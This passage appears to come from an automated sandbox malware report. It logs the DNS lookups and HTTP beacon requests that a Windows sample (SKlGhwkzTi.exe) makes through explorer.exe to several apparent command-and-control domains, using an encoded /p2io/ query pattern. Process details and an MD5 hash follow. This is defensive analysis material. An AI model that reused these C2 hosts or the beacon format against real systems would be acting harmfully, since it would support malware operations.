Jun 10, 2021 17:58:44.427468061 CEST	53	60875	8.8.8.8	192.168.2.4
Jun 10, 2021 17:58:45.288420916 CEST	56448	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:58:45.342664003 CEST	53	56448	8.8.8.8	192.168.2.4
Jun 10, 2021 17:58:46.649956942 CEST	59172	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:58:46.713717937 CEST	53	59172	8.8.8.8	192.168.2.4
Jun 10, 2021 17:58:48.234550953 CEST	62420	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:58:48.296334982 CEST	53	62420	8.8.8.8	192.168.2.4
Jun 10, 2021 17:58:49.085917950 CEST	60579	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:58:49.145890951 CEST	53	60579	8.8.8.8	192.168.2.4
Jun 10, 2021 17:58:58.618691921 CEST	50183	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:58:58.681042910 CEST	53	50183	8.8.8.8	192.168.2.4
Jun 10, 2021 17:59:21.936187029 CEST	61531	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:59:22.102794886 CEST	53	61531	8.8.8.8	192.168.2.4
Jun 10, 2021 17:59:27.751991987 CEST	49228	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:59:27.827166080 CEST	53	49228	8.8.8.8	192.168.2.4
Jun 10, 2021 17:59:31.289874077 CEST	59794	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:59:31.358530045 CEST	53	59794	8.8.8.8	192.168.2.4
Jun 10, 2021 17:59:32.912105083 CEST	55916	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:59:32.972131968 CEST	53	55916	8.8.8.8	192.168.2.4
Jun 10, 2021 17:59:33.123146057 CEST	52752	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:59:33.205077887 CEST	53	52752	8.8.8.8	192.168.2.4
Jun 10, 2021 17:59:38.369435072 CEST	60542	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:59:38.737392902 CEST	53	60542	8.8.8.8	192.168.2.4
Jun 10, 2021 17:59:44.536937952 CEST	60689	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:59:45.085048914 CEST	53	60689	8.8.8.8	192.168.2.4
Jun 10, 2021 17:59:50.787945986 CEST	64206	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:59:50.853202105 CEST	53	64206	8.8.8.8	192.168.2.4
Jun 10, 2021 17:59:55.995110035 CEST	50904	53	192.168.2.4	8.8.8.8
Jun 10, 2021 17:59:56.064225912 CEST	53	50904	8.8.8.8	192.168.2.4
Jun 10, 2021 18:00:01.465610027 CEST	57525	53	192.168.2.4	8.8.8.8
Jun 10, 2021 18:00:01.821636915 CEST	53	57525	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jun 10, 2021 17:59:21.936187029 CEST	192.168.2.4	8.8.8.8	0xbaa6	Standard query (0)	www.hiddenwholesale.com	A (IP address)	IN (0x0001)
Jun 10, 2021 17:59:27.751991987 CEST	192.168.2.4	8.8.8.8	0xa757	Standard query (0)	www.anewdistraction.com	A (IP address)	IN (0x0001)
Jun 10, 2021 17:59:33.123146057 CEST	192.168.2.4	8.8.8.8	0x88aa	Standard query (0)	www.cleanxcare.com	A (IP address)	IN (0x0001)
Jun 10, 2021 17:59:38.369435072 CEST	192.168.2.4	8.8.8.8	0xc537	Standard query (0)	www.biztekno.com	A (IP address)	IN (0x0001)
Jun 10, 2021 17:59:44.536937952 CEST	192.168.2.4	8.8.8.8	0x8971	Standard query (0)	www.69-1hn7uc.net	A (IP address)	IN (0x0001)
Jun 10, 2021 17:59:50.787945986 CEST	192.168.2.4	8.8.8.8	0x9293	Standard query (0)	www.cyrilgraze.com	A (IP address)	IN (0x0001)
Jun 10, 2021 17:59:55.995110035 CEST	192.168.2.4	8.8.8.8	0xb3bc	Standard query (0)	www.centergolosinas.com	A (IP address)	IN (0x0001)
Jun 10, 2021 18:00:01.465610027 CEST	192.168.2.4	8.8.8.8	0x9f6	Standard query (0)	www.adultpeace.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jun 10, 2021 17:59:22.102794886 CEST	8.8.8.8	192.168.2.4	0xbaa6	No error (0)	www.hiddenwholesale.com	pixie.porkbun.com		CNAME (Canonical name)	IN (0x0001)
Jun 10, 2021 17:59:22.102794886 CEST	8.8.8.8	192.168.2.4	0xbaa6	No error (0)	pixie.porkbun.com		44.227.65.245	A (IP address)	IN (0x0001)
Jun 10, 2021 17:59:22.102794886 CEST	8.8.8.8	192.168.2.4	0xbaa6	No error (0)	pixie.porkbun.com		44.227.76.166	A (IP address)	IN (0x0001)
Jun 10, 2021 17:59:27.827166080 CEST	8.8.8.8	192.168.2.4	0xa757	No error (0)	www.anewdistraction.com	ext-sq.squarespace.com		CNAME (Canonical name)	IN (0x0001)
Jun 10, 2021 17:59:27.827166080 CEST	8.8.8.8	192.168.2.4	0xa757	No error (0)	ext-sq.squarespace.com		198.185.159.144	A (IP address)	IN (0x0001)
Jun 10, 2021 17:59:27.827166080 CEST	8.8.8.8	192.168.2.4	0xa757	No error (0)	ext-sq.squarespace.com		198.49.23.145	A (IP address)	IN (0x0001)
Jun 10, 2021 17:59:27.827166080 CEST	8.8.8.8	192.168.2.4	0xa757	No error (0)	ext-sq.squarespace.com		198.185.159.145	A (IP address)	IN (0x0001)
Jun 10, 2021 17:59:27.827166080 CEST	8.8.8.8	192.168.2.4	0xa757	No error (0)	ext-sq.squarespace.com		198.49.23.144	A (IP address)	IN (0x0001)
Jun 10, 2021 17:59:33.205077887 CEST	8.8.8.8	192.168.2.4	0x88aa	No error (0)	www.cleanxcare.com	cleanxcare.com		CNAME (Canonical name)	IN (0x0001)
Jun 10, 2021 17:59:33.205077887 CEST	8.8.8.8	192.168.2.4	0x88aa	No error (0)	cleanxcare.com		78.31.67.91	A (IP address)	IN (0x0001)
Jun 10, 2021 17:59:38.737392902 CEST	8.8.8.8	192.168.2.4	0xc537	No error (0)	www.biztekno.com	biztekno.com		CNAME (Canonical name)	IN (0x0001)
Jun 10, 2021 17:59:38.737392902 CEST	8.8.8.8	192.168.2.4	0xc537	No error (0)	biztekno.com		151.106.118.75	A (IP address)	IN (0x0001)
Jun 10, 2021 17:59:45.085048914 CEST	8.8.8.8	192.168.2.4	0x8971	No error (0)	www.69-1hn7uc.net		163.43.122.119	A (IP address)	IN (0x0001)
Jun 10, 2021 17:59:50.853202105 CEST	8.8.8.8	192.168.2.4	0x9293	No error (0)	www.cyrilgraze.com		104.21.65.7	A (IP address)	IN (0x0001)
Jun 10, 2021 17:59:50.853202105 CEST	8.8.8.8	192.168.2.4	0x9293	No error (0)	www.cyrilgraze.com		172.67.138.177	A (IP address)	IN (0x0001)
Jun 10, 2021 17:59:56.064225912 CEST	8.8.8.8	192.168.2.4	0xb3bc	No error (0)	www.centergolosinas.com	centergolosinas.com		CNAME (Canonical name)	IN (0x0001)
Jun 10, 2021 17:59:56.064225912 CEST	8.8.8.8	192.168.2.4	0xb3bc	No error (0)	centergolosinas.com		192.169.223.13	A (IP address)	IN (0x0001)
Jun 10, 2021 18:00:01.821636915 CEST	8.8.8.8	192.168.2.4	0x9f6	No error (0)	www.adultpeace.com	adultpeace.com		CNAME (Canonical name)	IN (0x0001)
Jun 10, 2021 18:00:01.821636915 CEST	8.8.8.8	192.168.2.4	0x9f6	No error (0)	adultpeace.com		163.44.239.73	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.hiddenwholesale.com

www.anewdistraction.com

www.cleanxcare.com

www.biztekno.com

www.69-1hn7uc.net

www.cyrilgraze.com

www.centergolosinas.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49763	44.227.65.245	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 10, 2021 17:59:22.523107052 CEST	3666	OUT	GET /p2io/?xN6x=es7Y2j6d/8vbylETtmEK+cycNhd4T49F/A456A8m/a4HPEjAATL8KRpgCeYlIlfO3VWH&YluDM=Ofc4YV0pThsp HTTP/1.1 Host: www.hiddenwholesale.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 10, 2021 17:59:22.729955912 CEST	3667	IN	HTTP/1.1 307 Temporary Redirect Server: openresty Date: Thu, 10 Jun 2021 15:59:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 168 Connection: close Location: http://hiddenwholesale.com X-Frame-Options: sameorigin Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>307 Temporary Redirect</title></head><body><center><h1>307 Temporary Redirect</h1></center><hr><center>openresty</center></body></html>
Jun 10, 2021 17:59:22.936537981 CEST	3667	IN	HTTP/1.1 307 Temporary Redirect Server: openresty Date: Thu, 10 Jun 2021 15:59:22 GMT Content-Type: text/html; charset=utf-8 Content-Length: 168 Connection: close Location: http://hiddenwholesale.com X-Frame-Options: sameorigin Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 37 20 54 65 6d 70 6f 72 61 72 79 20 52 65 64 69 72 65 63 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>307 Temporary Redirect</title></head><body><center><h1>307 Temporary Redirect</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49764	198.185.159.144	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 10, 2021 17:59:27.964210987 CEST	3668	OUT	GET /p2io/?xN6x=ia0dgIkdnBZILDuo3zp8eo0tNiPxoXJfkPpt6P05AAGh3ZPzSagLTNX+xDwAHOv6iOkY&YluDM=Ofc4YV0pThsp HTTP/1.1 Host: www.anewdistraction.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 10, 2021 17:59:28.103754044 CEST	3669	IN	HTTP/1.1 400 Bad Request Cache-Control: no-cache, must-revalidate Content-Length: 77564 Content-Type: text/html; charset=UTF-8 Date: Thu, 10 Jun 2021 15:59:28 UTC Expires: Thu, 01 Jan 1970 00:00:00 UTC Pragma: no-cache Server: Squarespace X-Contextid: XwfQswqc/7LuuUOoE Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 77 68 69 74 65 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 74 6f 70 3a 20 35 30 25 3b 0a 20 20 20 20 6c 65 66 74 3a 20 35 30 25 3b 0a 20 20 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 28 2d 35 30 25 2c 20 2d 35 30 25 29 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6d 69 6e 2d 77 69 64 74 68 3a 20 39 35 76 77 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 68 31 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 34 2e 36 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 31 39 31 39 31 39 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 31 70 78 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 2e 34 65 6d 3b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 33 30 30 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 7d 0a 0a 20 20 6d 61 69 6e 20 70 20 61 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 23 33 61 33 61 33 61 3b 0a 20 20 20 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 0a 20 20 20 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 61 33 61 33 61 3b 0a 20 20 7d 0a 0a 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 22 43 6c 61 72 6b 73 6f 6e 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 7d 0a 0a 20 20 23 73 74 61 74 75 73 2d 70 61 67 65 20 7b 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 0a 20 20 20 20 62 6f 74 74 6f 6d 3a 20 32 32 70 78 3b 0a 20 20 20 20 6c 65 66 74 3a 20 30 3b 0a 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 32 65 6d 3b 0a 20 20 7d 0a 0a 20 20 66 6f 6f 74 65 72 20 73 70 61 6e 20 7b 0a 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 31 31 70 78 3b 0a 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 65 6d 3b 0a 20 20 20 20 Data Ascii: <!DOCTYPE html><head> <title>400 Bad Request</title> <meta name="viewport" content="width=device-width, initial-scale=1"> <style type="text/css"> body { background: white; } main { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); text-align: center; min-width: 95vw; } main h1 { font-weight: 300; font-size: 4.6em; color: #191919; margin: 0 0 11px 0; } main p { font-size: 1.4em; color: #3a3a3a; font-weight: 300; line-height: 2em; margin: 0; } main p a { color: #3a3a3a; text-decoration: none; border-bottom: solid 1px #3a3a3a; } body { font-family: "Clarkson", sans-serif; font-size: 12px; } #status-page { display: none; } footer { position: absolute; bottom: 22px; left: 0; width: 100%; text-align: center; line-height: 2em; } footer span { margin: 0 11px; font-size: 1em;

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49767	78.31.67.91	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 10, 2021 17:59:33.260176897 CEST	3727	OUT	GET /p2io/?xN6x=pxlxKDN0Rvw8YUTnsB4Bv4ohCC0AYWvU81fxb+r9dLiNjjqdMXiyL1Lf04YLJeQ+Gz7y&YluDM=Ofc4YV0pThsp HTTP/1.1 Host: www.cleanxcare.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 10, 2021 17:59:33.313033104 CEST	3728	IN	HTTP/1.1 301 Moved Permanently Connection: close Content-Type: text/html Content-Length: 707 Date: Thu, 10 Jun 2021 15:59:33 GMT Location: https://www.cleanxcare.com/p2io/?xN6x=pxlxKDN0Rvw8YUTnsB4Bv4ohCC0AYWvU81fxb+r9dLiNjjqdMXiyL1Lf04YLJeQ+Gz7y&YluDM=Ofc4YV0pThsp X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Vary: User-Agent Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 33 30 31 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 62 65 65 6e 20 70 65 72 6d 61 6e 65 6e 74 6c 79 20 6d 6f 76 65 64 2e 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.4	49768	151.106.118.75	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 10, 2021 17:59:39.007769108 CEST	3729	OUT	GET /p2io/?xN6x=IctutJlD1KzdQk/q9eJAOxuhjWEnlD6jXMe1IpO47rzJ4yHlcjfL6JMqKvIaYl5lDyXZ&YluDM=Ofc4YV0pThsp HTTP/1.1 Host: www.biztekno.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 10, 2021 17:59:41.822793961 CEST	3730	IN	HTTP/1.1 301 Moved Permanently Connection: close x-powered-by: PHP/7.4.20 set-cookie: weather_location=unknown; expires=Sat, 10-Jul-2021 15:59:39 GMT; Max-Age=2591999; path=/ expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 content-type: text/html; charset=UTF-8 x-redirect-by: WordPress location: http://biztekno.com/p2io/?xN6x=IctutJlD1KzdQk/q9eJAOxuhjWEnlD6jXMe1IpO47rzJ4yHlcjfL6JMqKvIaYl5lDyXZ&YluDM=Ofc4YV0pThsp x-litespeed-cache: miss content-length: 0 date: Thu, 10 Jun 2021 15:59:41 GMT server: LiteSpeed vary: User-Agent

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.4	49769	163.43.122.119	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 10, 2021 17:59:45.423042059 CEST	3732	OUT	GET /p2io/?xN6x=V9Q6YNEsmUTgun1x6j8RVRt0udPCykKEN/zK+I9/XCzeOC650o3noXQhbdRFxPUlYrbD&YluDM=Ofc4YV0pThsp HTTP/1.1 Host: www.69-1hn7uc.net Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 10, 2021 17:59:45.760066986 CEST	3732	IN	HTTP/1.1 302 Found Date: Thu, 10 Jun 2021 15:59:44 GMT Server: Apache/2.2.13 (Unix) Location: http://www.69-1hn7uc.net/notfound?xN6x=V9Q6YNEsmUTgun1x6j8RVRt0udPCykKEN/zK+I9/XCzeOC650o3noXQhbdRFxPUlYrbD&YluDM=Ofc4YV0pThsp Content-Length: 314 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 36 39 2d 31 68 6e 37 75 63 2e 6e 65 74 2f 6e 6f 74 66 6f 75 6e 64 3f 78 4e 36 78 3d 56 39 51 36 59 4e 45 73 6d 55 54 67 75 6e 31 78 36 6a 38 52 56 52 74 30 75 64 50 43 79 6b 4b 45 4e 2f 7a 4b 2b 49 39 2f 58 43 7a 65 4f 43 36 35 30 6f 33 6e 6f 58 51 68 62 64 52 46 78 50 55 6c 59 72 62 44 26 61 6d 70 3b 59 6c 75 44 4d 3d 4f 66 63 34 59 56 30 70 54 68 73 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="http://www.69-1hn7uc.net/notfound?xN6x=V9Q6YNEsmUTgun1x6j8RVRt0udPCykKEN/zK+I9/XCzeOC650o3noXQhbdRFxPUlYrbD&YluDM=Ofc4YV0pThsp">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.4	49770	104.21.65.7	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 10, 2021 17:59:50.897965908 CEST	3734	OUT	GET /p2io/?xN6x=PONkgH6MO5ViG+zjbj4YyU3gBn/U0y1OFStIgCLmvXYcYHdxqE5/6Lr2O25ts36CozLG&YluDM=Ofc4YV0pThsp HTTP/1.1 Host: www.cyrilgraze.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 10, 2021 17:59:50.956264973 CEST	3735	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 10 Jun 2021 15:59:50 GMT Transfer-Encoding: chunked Connection: close Cache-Control: max-age=3600 Expires: Thu, 10 Jun 2021 16:59:50 GMT Location: https://www.cyrilgraze.com/p2io/?xN6x=PONkgH6MO5ViG+zjbj4YyU3gBn/U0y1OFStIgCLmvXYcYHdxqE5/6Lr2O25ts36CozLG&YluDM=Ofc4YV0pThsp cf-request-id: 0a983fcc9400004a5cd3af6000000001 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=wxDs3yH1Q0jpz%2FQwU22N2J90efSFmemicGmwvxLuWvDu0xC%2B%2FvwdkRc7EMM122xuc%2FufIqiNWH%2Fbb7H8jCiF0PEAjzqwvcdeeWzg2jpurI0DOf6h6pBSRaK95iLDrAUd"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 65d3cf27582a4a5c-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49771	192.169.223.13	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Jun 10, 2021 17:59:56.257801056 CEST	3735	OUT	GET /p2io/?xN6x=r2GsjHfGgcaZI4XPmfqM84hqAY3LnZYXU2G/Xsttb0tqrt8DFa/RFFebhWMTMoil/lgU&YluDM=Ofc4YV0pThsp HTTP/1.1 Host: www.centergolosinas.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Jun 10, 2021 17:59:56.448759079 CEST	3736	IN	HTTP/1.1 302 Found Connection: close Pragma: no-cache cache-control: no-cache Location: /p2io/?xN6x=r2GsjHfGgcaZI4XPmfqM84hqAY3LnZYXU2G/Xsttb0tqrt8DFa/RFFebhWMTMoil/lgU&YluDM=Ofc4YV0pThsp

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: SKlGhwkzTi.exe PID: 6896 Parent PID: 6020

General

Start time:	17:57:55
Start date:	10/06/2021
Path:	C:\Users\user\Desktop\SKlGhwkzTi.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\SKlGhwkzTi.exe'
Imagebase:	0x940000
File size:	782336 bytes
MD5 hash:	8252E0BD8E579259CC18CEAE0C5C6D64
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
